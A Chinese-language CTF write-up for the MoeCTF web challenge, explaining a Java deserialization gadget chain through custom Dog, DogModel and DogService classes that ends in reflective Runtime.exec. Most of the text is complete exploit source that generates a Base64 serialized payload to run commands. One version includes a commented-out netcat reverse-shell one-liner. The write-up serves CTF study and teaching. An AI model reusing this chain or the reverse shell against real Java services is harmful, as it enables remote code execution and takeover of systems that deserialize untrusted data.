MoeCTF-web23详解

readobject-->?-->rce

我们的rce经典模板

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception{
       // Runtime.getRuntime().exec("calc");
        Runtime r = Runtime.getRuntime();
        //获取类
        Class c = Runtime.class;
        //获取类方法
        Method execMethod = c.getMethod("exec", String.class);
        //反射调用,调用对象r,调用参数计算器
        execMethod.invoke(r,"calc");
    }
}

分析源码,在Dogmodel.java有反射方法,且可控,

image-20260207192850603

/*    */   default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
/*    */     try {
/* 15 */       Class<?> cls = input.getClass();//获取目标对象的Class对象(反射的基础)
/* 16 */       Method method = cls.getMethod(methodName, paramTypes);// 通过Class对象获取指定的公开方法
/* 17 */       return method.invoke(input, args);//执行方法并返回结果(反射调用的核心)
/* 18 */     } 
    //捕捉异常
    catch (Exception e) {
/* 19 */       e.printStackTrace();
/*    */       
/* 21 */       return null;
/*    */     } 
/*    */   }

wagTail接口方法,接收四个参数,input(目标对象)、methodName(方法名)、paramTypes(参数类型)、args(参数值),很明显都是可控的,他的基本逻辑就是反射

问题是接口,需要调用一下,而Dog.java这里调用了该接口,我们可以通过这个入手调试

image-20260207194055891

import com.example.demo.Dog.DogModel;
public class test2 {
    public static void main(String[] args) {
        DogModel test = new DogModel() {
            @Override
            public int getId() {
                return 0;
            }

            @Override
            public void setId(int paramInt) {

            }

            @Override
            public String getName() {
                return "";
            }

            @Override
            public String getBreed() {
                return "";
            }

            @Override
            public int getAge() {
                return 0;
            }

            @Override
            public void feed() {

            }
        };

        // 1. 获取Runtime单例对象(执行系统命令的核心类)
        Runtime runtime = Runtime.getRuntime();

        // 2. 构造wagTail方法的调用参数(反射调用Runtime.exec)
        String methodName = "exec"; // 要调用的Runtime方法名
        Class[] paramTypes = {String.class};
        Object[] argsexe = {"calc.exe"};
        // 3. 调用DogModel的wagTail方法(本质是反射执行runtime.exec("calc.exe"))
        test.wagTail(runtime, methodName, paramTypes, argsexe);

    }
}

调试成功,获得readobjec-->?-->DogModel.wagTail-->rce

readobject-->?-->DogModel.wagTail-->rce

现在有个问题,wagTail方法只执行了最后一步而获取类、类方法他并没有做到,于是乎我们需要找到一个东西能让他多用几次,根据wagTail方法往上找

image-20260207195039415

这里有两个类,我们先看DogService.java,因为那个函数是Chain,链式应该能多次触发(猜的)

/*    */   public Object chainWagTail() {
/* 40 */     Object input = null;
/* 41 */     for (Dog dog : this.dogs.values()) {//遍历dogs Map中的所有Dog对象(按key顺序)
/* 42 */       if (input == null) {
/* 43 */         input = dog.object;
/*    */       }
/* 45 */       Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
/* 46 */       input = result;
/*    */     } 
/* 48 */     return input;
/*    */   }

他这个方法大概意思是 按顺序遍历 dogsMap 中的所有 Dog 对象,依次调用每个 DogwagTail 方法,并将「上一个Dog.wagTail的执行结果」自动作为「下一个 Dog.wagTail input 参数」

那我只需要向dogsMap传入三个dog,就能完成反射的三个步骤

    public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
        Dog dog = new Dog(1, "dog", "dog", 1);
        setField(dog, "object", object);
        setField(dog, "methodName", methodName);
        setField(dog, "paramTypes", paramTypes);
        setField(dog, "args", args);
        return dog;
    }

    public static void main(String[] args) throws Exception {
        // dog1:获取 Runtime.getRuntime() 方法对象
        Dog dog1 = createDog(
                Runtime.class,
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        );
        // dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
        Dog dog2 = createDog(
                dog1,
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{"null", new Class[0]}
        );
        // dog3:执行 Runtime.exec(command) 弹计算器
        Dog dog3 = createDog(
                dog2,
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
        );

到这里我们的三个dog已经创建完毕,现在需要把他传入dogsMap里,

image-20260207202353590

dogsMapDogService.java里,并且是私有的,我们需要把他拿出来用,创建并传入数据

		DogService dogService = new DogService();// 1. 创建DogService实例
        Field dogsField = DogService.class.getDeclaredField("dogs");// 2. 获取DogService类中名为"dogs"的字段对象
        dogsField.setAccessible(true);// 3. 关闭访问权限检查(突破private限制)
        Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);// 4. 获取dogService实例中dogs字段的实际值(Map引用)

到现在我们只需要调用了

       // 3. 调用 chainWagTail 调试
		dogService.chainWagTail();
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogModel;
import com.example.demo.Dog.DogService;

import java.lang.reflect.Field;
import java.util.Map;

import static org.springframework.test.util.ReflectionTestUtils.setField;


public class test2 {
    // 工具方法:创建 Dog 对象(封装反射赋值逻辑)
    public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
        Dog dog = new Dog(1, "dog", "dog", 1);
        setField(dog, "object", object);
        setField(dog, "methodName", methodName);
        setField(dog, "paramTypes", paramTypes);
        setField(dog, "args", args);
        return dog;
    }

    public static void main(String[] args) throws Exception {
        // dog1:获取 Runtime.getRuntime() 方法对象
        Dog dog1 = createDog(
                Runtime.class,
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        );
        // dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
        Dog dog2 = createDog(
                dog1,
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        );
        // dog3:执行 Runtime.exec(command) 弹计算器
        Dog dog3 = createDog(
                dog2,
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
        );

        // 2. 构造 DogService 并填充 dogs Map
        DogService dogService = new DogService();
        Field dogsField = DogService.class.getDeclaredField("dogs");
        dogsField.setAccessible(true);
        Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
        dogs.put(1, dog1);
        dogs.put(2, dog2);
        dogs.put(3, dog3);

        // 3. 调用 chainWagTail 调试
        dogService.chainWagTail();
    }
}

到目前为止我们的链子变成了 readobjec-->?-->DogService.chainWagTail-->DogModel.wagTail-->rce

至于怎么触发DogService.chainWagTail,我们可以用DogModel.wagTail

所以是readobjec-->?-->DogModel.wagTail-->DogService.chainWagTail-->DogModel.wagTail-->rce

readobject-->?-->DogModel.wagTail-->DogService.chainWagTail-->DogModel.wagTail-->rce

基本上到这里链子已经很完善了,只需要找到一个自动触发DogModel.wagTail,一个自动触发的反序列化点

而我们之前已经看到了触发DogModel.wagTail的还有一个Dog.hashCode()方法

image-20260207203643140

每次调用⼀个 Dog 对象的 hashCode() 方法计算哈希码之前,都会调用到 wagTail() 方法,这就可以自动触发到 wagTail()

那我还需要再多一条狗才能指向到chainWagTail

Dog dog4 = createDog(
                dogService,        // input = dogService实例
                "chainWagTail",    // 要调用的方法名:chainWagTail
                new Class[0],      // chainWagTail无参数 → 空参数类型数组
                new Object[0]      // chainWagTail无参数 → 空参数值数组
        );
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogModel;
import com.example.demo.Dog.DogService;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import static org.springframework.test.util.ReflectionTestUtils.setField;


public class test2 {
    // 工具方法:创建 Dog 对象(封装反射赋值逻辑)
    public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
        Dog dog = new Dog(1, "dog", "dog", 1);
        setField(dog, "object", object);
        setField(dog, "methodName", methodName);
        setField(dog, "paramTypes", paramTypes);
        setField(dog, "args", args);
        return dog;
    }

    public static void main(String[] args) throws Exception {
        // dog1:获取 Runtime.getRuntime() 方法对象
        Dog dog1 = createDog(
                Runtime.class,
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        );
        // dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
        Dog dog2 = createDog(
                dog1,
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        );
        // dog3:执行 Runtime.exec(command) 弹计算器
        Dog dog3 = createDog(
                dog2,
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
        );

        // 2. 构造 DogService 并填充 dogs Map
        DogService dogService = new DogService();
        Field dogsField = DogService.class.getDeclaredField("dogs");
        dogsField.setAccessible(true);
        Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
        dogs.put(1, dog1);
        dogs.put(2, dog2);
        dogs.put(3, dog3);
        Dog dog4 = createDog(
                dogService,        // input = dogService实例
                "chainWagTail",    // 要调用的方法名:chainWagTail
                new Class[0],      // chainWagTail无参数 → 空参数类型数组
                new Object[0]      // chainWagTail无参数 → 空参数值数组
        );

        // ========== 4. 触发dog4.hashCode() → 自动调用wagTail → 执行chainWagTail ==========
        // 核心原理:HashMap.put(key, value) 会自动调用key的hashCode()方法
        // 从而触发:dog4.hashCode() → wagTail(dogService, "chainWagTail") → 执行chainWagTail
        Map<Object, Object> triggerMap = new HashMap<>();
        triggerMap.put(dog4, "1");
    }
}

至此链子已成,我们只需要找到反序列化

image-20260207204616848

public void importDogsBase64(String base64Data) {
/* 67 */     try(ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data)); 
/* 68 */         ObjectInputStream ois = new ObjectInputStream(bais)) {
/* 69 */       Collection<Dog> imported = (Collection<Dog>)ois.readObject();
/* 70 */       for (Dog dog : imported) {
/* 71 */         dog.setId(this.nextId++);
/* 72 */         this.dogs.put(Integer.valueOf(dog.getId()), dog);
/*    */       } 
/* 74 */     } catch (IOException|ClassNotFoundException e) {
/* 75 */       e.printStackTrace();
/*    */     } 
/*    */   }

DogService.importDogsBase64() 中可以找到执行了 ObjectInputStream.readObject() 方法,是典型的 Java 反序列化的入口:

importDogsBase64() 这个⽅法会接收⼀串经过 base64 编码后的数据,先对其进行解码,然后反序列化出 Dog 集 合,为每个 Dog 对象重新分配 ID 后存⼊本地的 dogs 集合中

 // 新增:序列化+Base64编码(生成payload)
    public static String serializeToBase64(Object obj) throws Exception {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
            return Base64.getEncoder().encodeToString(baos.toByteArray());
        }
    }

    // 新增:Base64解码+反序列化(模拟目标系统处理payload)
    public static Object deserializeFromBase64(String base64) throws Exception {
        byte[] data = Base64.getDecoder().decode(base64);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject(); // 反序列化时自动触发hashCode→RCE
        }
    }

exp

import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogModel;
import com.example.demo.Dog.DogService;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import static org.springframework.test.util.ReflectionTestUtils.setField;
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class test2 {
    // 新增:序列化+Base64编码(生成payload)
    public static String serializeToBase64(Object obj) throws Exception {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
            return Base64.getEncoder().encodeToString(baos.toByteArray());
        }
    }

    // 新增:Base64解码+反序列化(模拟目标系统处理payload)
    public static Object deserializeFromBase64(String base64) throws Exception {
        byte[] data = Base64.getDecoder().decode(base64);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject(); // 反序列化时自动触发hashCode→RCE
        }
    }

    // 工具方法:创建 Dog 对象(封装反射赋值逻辑)
    public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception {
        Dog dog = new Dog(1, "dog", "dog", 1);
        setField(dog, "object", object);
        setField(dog, "methodName", methodName);
        setField(dog, "paramTypes", paramTypes);
        setField(dog, "args", args);
        return dog;
    }

    public static void main(String[] args) throws Exception {
        // dog1:获取 Runtime.getRuntime() 方法对象
        Dog dog1 = createDog(
                Runtime.class,
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        );
        // dog2:执行 getRuntime().invoke(null) 获取 Runtime 实例
        Dog dog2 = createDog(
                dog1,
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        );

        Dog dog3 = createDog(
                dog2,
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
        );

        DogService dogService = new DogService();
        Field dogsField = DogService.class.getDeclaredField("dogs");
        dogsField.setAccessible(true);
        Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
        dogs.put(1, dog1);
        dogs.put(2, dog2);
        dogs.put(3, dog3);
        Dog dog4 = createDog(
                dogService,
                "aaa",
                new Class[0],
                new Object[0]
        );

        Map<Object, Object> triggerMap = new HashMap<>();
        triggerMap.put(dog4, "null");
        setField(dog4,"methodName", "chainWagTail");
        // 5. 序列化HashMap生成Base64 payload(模拟本地构造payload)
        String payload = serializeToBase64(triggerMap);
        System.out.println("生成的恶意payload:" + payload);

        // 6. 反序列化(模拟目标系统接收payload并处理)
        // 这一行执行时,会自动触发hashCode→wagTail→chainWagTail→弹计算器
        deserializeFromBase64(payload);


    }
}

还有一个就是要用反弹shell的命令的时候,下面这两个地方都要写成数组形式

img

exp2

import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class exp{
    // 序列化并Base64编码
    public static String serializeBase64(Object obj) throws Exception {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
            oos.flush();
            return Base64.getEncoder().encodeToString(baos.toByteArray());
        }
    }
    // Base64解码并反序列化
    public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64Data);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject();
        }
    }
    // 反射设置字段值
    public static void setField(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    // 创建Dog对象
    public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception{
        Dog dog = new Dog(1, "dog", "dog", 1);
        setField(dog, "object", object);
        setField(dog, "methodName", methodName);
        setField(dog, "paramTypes", paramTypes);
        setField(dog, "args", args);
        return dog;
    }

    public static void main(String[] args) throws Exception{
        // 要执行的命令
       String command = "calc.exe";
//        //String[] command = new String[] {
//                "/bin/sh",
//                "-c",
//                "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 2333 >/tmp/f"
//        };
        // 构造链式调用
        // 第一步:获取 getRuntime 方法对象
        Dog dog1 = createDog(Runtime.class,
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0] });
        // 第二步:执行 getRuntime().invoke(null) 获取 Runtime 实例
        Dog dog2 = createDog(dog1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
        // 第三步:执行 Runtime.exec(command)
        Dog dog3 = createDog(dog2,
                "exec",
                new Class[]{String.class},
                new Object[]{command});

        // 构造 DogService 对象,填充逻辑链
        DogService dogService = new DogService();
        // 反射获取 dogs 字段
        Field dogsField = DogService.class.getDeclaredField("dogs");
        dogsField.setAccessible(true);
        Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
        // 依次放入 Map,chainWagTail 会按顺序遍历并传递 result
        dogs.put(1, dog1);
        dogs.put(2, dog2);
        dogs.put(3, dog3);

        // 构造触发点
        Dog dog4 = createDog(dogService, "aaa", new Class[0], new Object[0] );

        // 触发触发点
        Map<Object, Object> hashMap = new HashMap();
        hashMap.put(dog4, "value");
        setField(dog4, "methodName", "chainWagTail");

        // 生成payload
        String payload = serializeBase64(hashMap);
        System.out.println(payload);
        unserializeBase64(payload);
    }
}

链子

HashMap.readObjetc-->HashMap.hash-->Dog.hashCode()-->DogModel.wagTail-->DogService.chainWagTail-->DogModel.wagTail-->rce

posted @ 2026-02-07 21:18  paaai  阅读(40)  评论(0)    收藏  举报